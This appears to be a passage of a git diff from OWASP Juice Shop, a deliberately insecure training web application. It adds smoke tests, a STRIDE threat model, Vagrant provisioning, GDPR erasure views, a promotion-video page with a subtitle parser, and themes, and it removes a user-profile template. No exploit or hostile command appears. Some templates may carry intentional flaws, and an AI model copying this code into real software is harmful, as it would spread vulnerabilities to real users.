"Running smoke tests...\n" + +EXIT=0 +if curl "$1" -s | grep -q ''; then + printf "\033[0;32mIndex smoke test passed!\033[0m\n" +else + printf "\033[0;31mIndex smoke test failed!\033[0m\n" + EXIT=$((EXIT+1)) +fi + +if curl "$1/api/Challenges" -s | grep -q '"status":"success"'; then + printf "\033[0;32mAPI smoke test passed!\033[0m\n" +else + printf "\033[0;31mAPI smoke test failed!\033[0m\n" + EXIT=$((EXIT+1)) +fi + +if curl "$1/main.js" -s | grep -q 'this.applicationName="OWASP Juice Shop"'; then + printf "\033[0;32mAngular smoke test passed!\033[0m\n" +else + printf "\033[0;31mAngular smoke test failed!\033[0m\n" + EXIT=$((EXIT+1)) +fi + +if curl "$1/snippets/directoryListingChallenge" -s | grep -q 'serveIndexMiddleware'; then + printf "\033[0;32mCode snippet smoke test passed!\033[0m\n" +else + printf "\033[0;31mCode snippet smoke test failed!\033[0m\n" + EXIT=$((EXIT+1)) +fi + +printf "Smoke tests exiting with code %s (" "$EXIT" +if [ $EXIT -gt 0 ]; then + printf "\033[0;31mFAILED\033[0m)\n" +else + printf "\033[0;32mSUCCESS\033[0m)\n" +fi +exit $EXIT \ No newline at end of file diff --git a/threat-model.json b/threat-model.json new file mode 100644 index 00000000000..ad3b0dabba7 --- /dev/null +++ b/threat-model.json @@ -0,0 +1,1070 @@ +{ + "summary": { + "title": "OWASP Juice Shop", + "owner": "Björn Kimminich", + "description": "OWASP Juice Shop is probably the most modern and sophisticated insecure web application! It can be used in security trainings, awareness demos, CTFs and as a guinea pig for security tools! Juice Shop encompasses vulnerabilities from the entire OWASP Top Ten along with many other security flaws found in real-world applications!" + }, + "detail": { + "contributors": [], + "diagrams": [ + { + "title": "High Level Data Flow", + "thumbnail": "./public/content/images/thumbnail.stride.jpg", + "diagramType": "STRIDE", + "id": 0, + "$$hashKey": "object:59", + "diagramJson": { + "cells": [ + { + "type": "tm.Actor", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 64, + "y": 173 + }, + "angle": 0, + "id": "5c682ec9-c352-442e-b61c-2de8ed53ea22", + "z": 1, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "B2C Customer (Browser)" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Actor", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 68, + "y": 52 + }, + "angle": 0, + "id": "d02fa030-ca19-47ad-8920-0980cd87a351", + "z": 2, + "hasOpenThreats": false, + "outOfScope": true, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isOutOfScope" + }, + "text": { + "text": "Google" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Process", + "size": { + "width": 100, + "height": 100 + }, + "position": { + "x": 455, + "y": 1 + }, + "angle": 0, + "id": "064304c2-9672-44f2-9e08-982d58145bc0", + "z": 3, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "Angular\nFrontend" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Process", + "size": { + "width": 100, + "height": 100 + }, + "position": { + "x": 468, + "y": 228 + }, + "angle": 0, + "id": "edced7d1-6206-43bc-94ab-aa515977042a", + "z": 4, + "hasOpenThreats": false, + "description": "Node.js / Express", + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "Application\nServer" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Store", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 830, + "y": 393 + }, + "angle": 0, + "id": "673196a0-0797-4c56-974b-b169ec27accb", + "z": 5, + "hasOpenThreats": false, + "description": "", + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "SQLite Database" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Store", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 568, + "y": 396 + }, + "angle": 0, + "id": "38c5137f-1570-446a-9978-a98f84fe1c59", + "z": 6, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "MarsDB NoSQL DB" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Store", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 828, + "y": 255 + }, + "angle": 0, + "id": "00ae7380-5510-4772-8f98-d83df41035b6", + "z": 7, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "Local File System" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "5c682ec9-c352-442e-b61c-2de8ed53ea22" + }, + "target": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "vertices": [ + { + "x": 355, + "y": 146 + } + ], + "id": "cb17d350-86bc-4f06-8858-668093987b57", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 8, + "hasOpenThreats": false, + "isPublicNetwork": true, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "target": { + "id": "d02fa030-ca19-47ad-8920-0980cd87a351" + }, + "vertices": [ + { + "x": 337, + "y": 35 + } + ], + "id": "2d66f056-75e8-4436-bc99-a0817b3f1c19", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "OAuth2", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 9, + "hasOpenThreats": false, + "isPublicNetwork": true, + "isEncrypted": true, + "protocol": "", + "outOfScope": true, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isOutOfScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "target": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "vertices": [ + { + "x": 419, + "y": 204 + } + ], + "id": "46d76eab-2862-414b-bce6-c0d8fe79cf79", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "API Requests", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 10, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "vertices": [ + { + "x": 514, + "y": 150 + } + ], + "id": "dc9ff0b8-2bae-4839-97f1-181f47282846", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "API Responses", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 11, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "00ae7380-5510-4772-8f98-d83df41035b6" + }, + "vertices": [ + { + "x": 683, + "y": 236 + } + ], + "id": "028ce073-348f-498d-ab6e-7d98e4d7ae77", + "labels": [ + { + "position": { + "distance": 0.4545744602063211, + "offset": -14.064892638757218 + }, + "attrs": { + "text": { + "text": "Invoices", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 12, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Actor", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 66, + "y": 296 + }, + "angle": 0, + "id": "82095edc-bdca-448b-8c28-ed1aaba2e9e9", + "z": 13, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "B2B Customer (Browser)" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Process", + "size": { + "width": 100, + "height": 100 + }, + "position": { + "x": 307, + "y": 338 + }, + "angle": 0, + "id": "2f427832-3419-4b43-ae77-338f8636ca2b", + "z": 14, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "B2B API" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "82095edc-bdca-448b-8c28-ed1aaba2e9e9" + }, + "target": { + "id": "2f427832-3419-4b43-ae77-338f8636ca2b" + }, + "vertices": [], + "id": "f9d73d1a-e79a-4a57-bba8-c7cbc02fa348", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 15, + "hasOpenThreats": false, + "isPublicNetwork": true, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "2f427832-3419-4b43-ae77-338f8636ca2b" + }, + "target": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "vertices": [], + "id": "1515ba33-e41b-4940-b92c-139179c14709", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Orders", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 16, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Actor", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 844, + "y": 1 + }, + "angle": 0, + "id": "0191343a-8439-45d7-b9e4-6b052f91415d", + "z": 17, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "Admin (Browser)" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Actor", + "size": { + "width": 160, + "height": 80 + }, + "position": { + "x": 847, + "y": 107 + }, + "angle": 0, + "id": "12bf3793-217c-4863-b430-718182257f1a", + "z": 18, + "hasOpenThreats": false, + "attrs": { + ".element-shape": { + "class": "element-shape hasNoOpenThreats isInScope" + }, + "text": { + "text": "Accounting (Browser)" + }, + ".element-text": { + "class": "element-text hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "12bf3793-217c-4863-b430-718182257f1a" + }, + "target": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "vertices": [], + "id": "16ed975a-3375-47b2-ab23-dac55835961c", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Product Inventory", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 19, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "0191343a-8439-45d7-b9e4-6b052f91415d" + }, + "target": { + "id": "064304c2-9672-44f2-9e08-982d58145bc0" + }, + "vertices": [ + { + "x": 679, + "y": 18 + } + ], + "id": "8a3a017a-76c0-45fa-9d39-c31311f8b76f", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "User Management", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 20, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "673196a0-0797-4c56-974b-b169ec27accb" + }, + "vertices": [], + "id": "063a0a1a-352e-45bb-bce9-abee2be89a0d", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "all other data", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 21, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "38c5137f-1570-446a-9978-a98f84fe1c59" + }, + "vertices": [ + { + "x": 509, + "y": 385 + } + ], + "id": "96dee941-1600-445f-b12f-88fbb0776c16", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Orders", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 22, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "38c5137f-1570-446a-9978-a98f84fe1c59" + }, + "vertices": [ + { + "x": 565, + "y": 378 + } + ], + "id": "5581ae64-5e43-4525-94e0-e020793e4136", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Reviews", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 23, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "5c682ec9-c352-442e-b61c-2de8ed53ea22" + }, + "vertices": [], + "id": "e9a8981a-2243-4e43-a68b-0bdfd81f1a45", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Invoices", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 24, + "hasOpenThreats": false, + "isPublicNetwork": true, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Boundary", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "x": 93, + "y": 19 + }, + "target": { + "x": 65, + "y": 146 + }, + "vertices": [ + { + "x": 252, + "y": 54 + }, + { + "x": 246, + "y": 143 + } + ], + "id": "e4006eb6-c6da-4056-8cad-6111ffed690a", + "z": 25, + "attrs": {} + }, + { + "type": "tm.Boundary", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "x": 183, + "y": 441 + }, + "target": { + "x": 286, + "y": 124 + }, + "vertices": [ + { + "x": 310, + "y": 320 + } + ], + "id": "a0bc0999-c102-4390-9c74-355bfea405be", + "z": 26, + "attrs": {} + }, + { + "type": "tm.Boundary", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "x": 772, + "y": 161 + }, + "target": { + "x": 784, + "y": 1 + }, + "vertices": [ + { + "x": 787, + "y": 90 + } + ], + "id": "b66d28e9-c542-452b-944c-6ea0b95d7421", + "z": 27, + "attrs": {} + }, + { + "type": "tm.Boundary", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "x": 417, + "y": 128 + }, + "target": { + "x": 616, + "y": 156 + }, + "vertices": [], + "id": "140276bc-f5b6-4199-ac4d-ea1f473c132a", + "z": 28, + "attrs": {} + }, + { + "type": "tm.Boundary", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "x": 749, + "y": 492 + }, + "target": { + "x": 753, + "y": 198 + }, + "vertices": [ + { + "x": 775, + "y": 346 + } + ], + "id": "161f7ef7-4adf-40e3-81c5-f15979ac1b5c", + "z": 29, + "attrs": {} + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "00ae7380-5510-4772-8f98-d83df41035b6" + }, + "target": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "vertices": [ + { + "x": 663, + "y": 260 + } + ], + "id": "53b58d93-f3af-4668-989c-c15ce69268e6", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Configuration", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 30, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + }, + { + "type": "tm.Flow", + "size": { + "width": 10, + "height": 10 + }, + "smooth": true, + "source": { + "id": "edced7d1-6206-43bc-94ab-aa515977042a" + }, + "target": { + "id": "00ae7380-5510-4772-8f98-d83df41035b6" + }, + "vertices": [ + { + "x": 737, + "y": 306 + } + ], + "id": "8eae4755-841b-44b2-8826-bd231926a480", + "labels": [ + { + "position": 0.5, + "attrs": { + "text": { + "text": "Logging", + "font-weight": "400", + "font-size": "small" + } + } + } + ], + "z": 31, + "hasOpenThreats": false, + "attrs": { + ".marker-target": { + "class": "marker-target hasNoOpenThreats isInScope" + }, + ".connection": { + "class": "connection hasNoOpenThreats isInScope" + } + } + } + ] + }, + "size": { + "height": 590, + "width": 1425 + } + } + ] + } +} \ No newline at end of file diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 00000000000..af9914654d4 --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,44 @@ +{ + "compilerOptions": { + "baseUrl": "./", + "outDir": "./build", + "allowJs": true, + "module": "commonjs", + "target": "es2018", + "moduleResolution": "node", + "sourceMap": true, + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "lib": [ + "es2018", + "dom" + ] + }, + "include" : [ + "cypress/**/*.ts", + "data/**/*.ts", + "lib/**/*.ts", + "lib/**/*.js", + "models/**/*.ts", + "routes/**/*.ts", + "test/**/*.ts", + "views/**/*.ts", + "views/**/*.js", + "rsn/**/*.ts", + "*.ts", + "*.js" + ], + "exclude": [ + "node_modules", + "frontend", + "dist", + "build", + "vagrant", + "data/static/codefixes/**", + "**/*.d.ts", + ".eslintrc.js" + ] +} diff --git a/vagrant/Vagrantfile b/vagrant/Vagrantfile index 037e2e62685..9bdb8a3946d 100644 --- a/vagrant/Vagrantfile +++ b/vagrant/Vagrantfile @@ -1,11 +1,14 @@ +# Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. +# SPDX-License-Identifier: MIT + # -*- mode: ruby -*- # vi: set ft=ruby : Vagrant.configure("2") do |config| - config.vm.box = "ubuntu/xenial64" + config.vm.box = "generic/ubuntu2110" config.vm.hostname = "juice.sh" - config.vm.network "private_network", ip: "192.168.33.10" + config.vm.network "private_network", ip: "192.168.56.110" config.vm.provision "file", source: "./default.conf", destination: "/tmp/juice-shop/default.conf" config.vm.provision :shell, path: "bootstrap.sh" end diff --git a/vagrant/bootstrap.sh b/vagrant/bootstrap.sh index 141acad16a6..79a9ecf0266 100755 --- a/vagrant/bootstrap.sh +++ b/vagrant/bootstrap.sh @@ -1,14 +1,22 @@ #!/bin/sh +# +# Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. +# SPDX-License-Identifier: MIT +# + +# Exit on error +set -e + # Add docker key and repository -apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D -echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | sudo tee /etc/apt/sources.list.d/docker.list +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +sudo bash -c 'echo "deb [arch=$(dpkg --print-architecture)] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" > /etc/apt/sources.list.d/docker-ce.list' # Install apache and docker apt-get update -q apt-get upgrade -qy -apt-get install -qy apache2 docker-engine +apt-get install -qy apache2 docker-ce # Put the relevant files in place cp /tmp/juice-shop/default.conf /etc/apache2/sites-available/000-default.conf @@ -19,6 +27,3 @@ docker run --restart=always -d -p 3000:3000 --name juice-shop bkimminich/juice-s # Enable proxy modules in apache and restart a2enmod proxy_http systemctl restart apache2.service - -# Run shake.js/logger -docker run --restart=always -d -p 8080:80 --name shake-logger -e TARGET_SOCKET=192.168.33.10:8080 wurstbrot/shake-logger diff --git a/views/dataErasureForm.hbs b/views/dataErasureForm.hbs new file mode 100644 index 00000000000..031bf1f6146 --- /dev/null +++ b/views/dataErasureForm.hbs @@ -0,0 +1,35 @@ + + + + + + +
+
+

Data Erasure Request (Art. 17 GDPR)

+

We take data security, customer privacy, and legal compliance very serious. In accordance with GDPR we allow + you to request complete erasure of your account and any associated data.

+
Request Data Erasure
+
+
+ + +
+
+ + +
+
+ +
+
+
+
\ No newline at end of file diff --git a/views/dataErasureResult.hbs b/views/dataErasureResult.hbs new file mode 100644 index 00000000000..ae6c2b140da --- /dev/null +++ b/views/dataErasureResult.hbs @@ -0,0 +1,26 @@ + + + + + + +
+
+

Sorry to see you leave! Your erasure request will be processed shortly.

+ +
+
+ \ No newline at end of file diff --git a/views/promotionVideo.pug b/views/promotionVideo.pug new file mode 100644 index 00000000000..32ee15101a9 --- /dev/null +++ b/views/promotionVideo.pug @@ -0,0 +1,116 @@ +doctype html +html(lang='en') + head + title _title_ + meta(charset='utf-8') + meta(name='description', content='') + meta(name='keywords', content='') + meta(name='viewport' content='width=device-width, initial-scale=1.0') + link(rel='icon', type='image/x-icon', href='./assets/public/_favicon_') + link(rel='stylesheet', href='https://code.getmdl.io/1.3.0/material.min.css') + link(rel='stylesheet', href='https://fonts.googleapis.com/icon?family=Material+Icons') + link(rel='stylesheet', href='http://fonts.googleapis.com/css?family=Roboto:300,400,500,700', type='text/css') + script(src='//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js') + script(defer='', src='https://code.getmdl.io/1.3.0/material.min.js') + style. + video { + min-width: 320px; + width: 44vw; + display: block; + margin-left: auto; + margin-right:auto; + margin-bottom: 5px; + height: 50vh; + outline: none; + } + @media (max-width: 900px) { + .mdl-layout-title { + display: none !important; + } + } + body(style='background: _bgColor_;color:_textColor_;') + .mdl-layout.mdl-js-layout.mdl-layout--fixed-header + header.mdl-layout__header.mdl-shadow--8dp(style= 'background: _navColor_; height: auto; min-width: 100%; padding-bottom: 5px; width: 100%;') + .mdl-layout__header-row + a(href='./#/' style='color: _textColor_; text-decoration:none; margin-left: -50px;') + i(class='material-icons', style='display: block;margin-bottom: auto;margin-top: auto; margin-right: 10px;') arrow_back + a(href='./#/' style='color: _textColor_; text-decoration:none;') + span(style='margin-right: 20px;') + | Back + // Logo + a(href='./#/') + img(src='assets/public/images/JuiceShop_Logo.png', style='max-height: 60px; width: auto;', alt='_title_ Logo') + // Title + a(href='./#/' style='color: _textColor_; text-decoration:none;') + span.mdl-layout-title(style='font: 500 20px/32px Roboto,"Helvetica Neue",sans-serif;') + | _title_ + + section.section--center.mdl-grid.mdl-grid--no-spacing + .mdl-card#card.mdl-cell.mdl-cell--12-col.mdl-shadow--8dp(style='width: 45vw; min-width: 320px; height: 58vh; background: _primLight_; margin-bottom: 50px; margin-top: 110px; display: block; margin-left: auto; margin-right:auto; ') + h1(style='color: _textColor_; font-size: 24px; line-height: 32px; margin-top: 16px; margin-bottom: 16px; font-weight: 400; margin-left: 16px;') Promotion Video + video(width='85vw', height='240', controls='controls') + source(src='./video', type='video/mp4') + + script#subtitle. + + + script. + function parse_timestamp(s) { + var match = s.match(/^(?:([0-9]+):)?([0-5][0-9]):([0-5][0-9](?:[.,][0-9]{0,3})?)/); + if (match == null) { + throw 'Invalid timestamp format: ' + s; + } + var hours = parseInt(match[1] || "0", 10); + var minutes = parseInt(match[2], 10); + var seconds = parseFloat(match[3].replace(',', '.')); + return seconds + 60 * minutes + 60 * 60 * hours; + } + function quick_and_dirty_vtt_or_srt_parser(vtt) { + var lines = vtt.trim().replace('\\r\n', '\n').split(/[\r\n]/).map(function(line) { + return line.trim(); + }); + var cues = []; + var start = null; + var end = null; + var payload = null; + for (var i = 0; i < lines.length; i++) { + if (lines[i].indexOf('-->') >= 0) { + var splitted = lines[i].split(/[ \\t]+-->[ \t]+/); + if (splitted.length != 2) { + throw 'Error when splitting "-->": ' + lines[i]; + } + // Already ignoring anything past the "end" timestamp (i.e. cue settings). + start = parse_timestamp(splitted[0]); + end = parse_timestamp(splitted[1]); + } else if (lines[i] == '') { + if (start && end) { + var cue = new VTTCue(start, end, payload); + cues.push(cue); + start = null; + end = null; + payload = null; + } + } else if(start && end) { + if (payload == null) { + payload = lines[i]; + } else { + payload += '\\n' + lines[i]; + } + } + } + if (start && end) { + var cue = new VTTCue(start, end, payload); + cues.push(cue); + } + return cues; + } + function init() { + var video = document.querySelector('video'); + var subtitle = document.getElementById('subtitle'); + var track = video.addTextTrack('subtitles', subtitle.dataset.label, subtitle.dataset.lang); + track.mode = "showing"; + quick_and_dirty_vtt_or_srt_parser(subtitle.innerHTML).map(function(cue) { + track.addCue(cue); + }); + } + init(); diff --git a/views/themes/themes.js b/views/themes/themes.js new file mode 100644 index 00000000000..a606d69231c --- /dev/null +++ b/views/themes/themes.js @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +exports.themes = { + 'bluegrey-lightgreen': { + bgColor: '#303030', + textColor: '#FFFFFF', + navColor: '#546E7A', + primLight: '#424242', + primDark: '#263238' + }, + 'blue-lightblue': { + bgColor: '#FAFAFA', + textColor: '#000000', + navColor: '#1976D2', + primLight: '#29B6F6', + primDark: '#0277BD' + }, + 'deeppurple-amber': { + bgColor: '#FAFAFA', + textColor: '#000000', + navColor: '#673AB7', + primLight: '#9575CD', + primDark: '#512DA8' + }, + 'indigo-pink': { + bgColor: '#FAFAFA', + textColor: '#000000', + navColor: '#3F51B5', + primLight: '#7986CB', + primDark: '#303F9F' + }, + 'pink-bluegrey': { + bgColor: '#303030', + textColor: '#FFFFFF', + navColor: '#C2185B', + primLight: '#E91E63', + primDark: '#880E4F' + }, + 'purple-green': { + bgColor: '#303030', + textColor: '#FFFFFF', + navColor: '#7B1FA2', + primLight: '#9C27B0', + primDark: '#4A148C' + }, + 'deeporange-indigo': { + bgColor: '#FAFAFA', + textColor: '#000000', + navColor: '#E64A19', + primLight: '#FF5722', + primDark: '#BF360C' + } +} diff --git a/views/userProfile.jade b/views/userProfile.jade deleted file mode 100644 index b7025943b30..00000000000 --- a/views/userProfile.jade +++ /dev/null @@ -1,52 +0,0 @@ -doctype html -html(lang='en') - head - title _title_ - meta(charset='utf-8') - meta(name='viewport', content='width=device-width, initial-scale=1') - link(rel='icon', type='image/x-icon', href='/assets/public/_favicon_') - link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css') - script(src='https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js') - script(src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js') - body(style='background: _bgColor_;color:_textColor_;') - nav.navbar.navbar-inverse(style='background: _navColor_;border-radius:0px;') - .container-fluid - .navbar-header - a.navbar-brand(href='/') _title_ - ul.nav.navbar-nav - li - a(href='/#/') - span.glyphicon.glyphicon-arrow-left - | Back - .container - h3 User Profile - .row(style='margin-top:10%;') - .col-sm-5 - img.img-rounded(src='assets/public/images/uploads/' + profileImage, alt='Cinque Terre', width='304', height='236') - p(style='padding-left:25%;margin-top:8%;') _username_ - form(action='/profile/image/file' , style='margin-top:10%;', method='post', enctype='multipart/form-data') - .form-group - input(type='file', accept='image/*', name='file') - button.btn.btn-default(type='submit') Upload Picture - - p(style='margin-top:5%;') ------------ or ------------ - - form(action='/profile/image/url' , style='margin-top:5%;', method='post') - .form-group - label(for='url') Gravatar Url: - input#url.form-control(type='text', name='imageUrl', placeholder='e.g. https://www.gravatar.com/avatar/_emailHash_') - button(id='submitUrl', type='submit').btn.btn-default Link Gravatar - - p(style='margin-bottom:10%;') - - - .col-sm-7 - form(action='/profile', method='post') - .form-group - label(for='username') Username: - input#username.form-control(type='text', name='username', placeholder='Enter Username', value='#{username}') - .form-group - label(for='email') Email: - 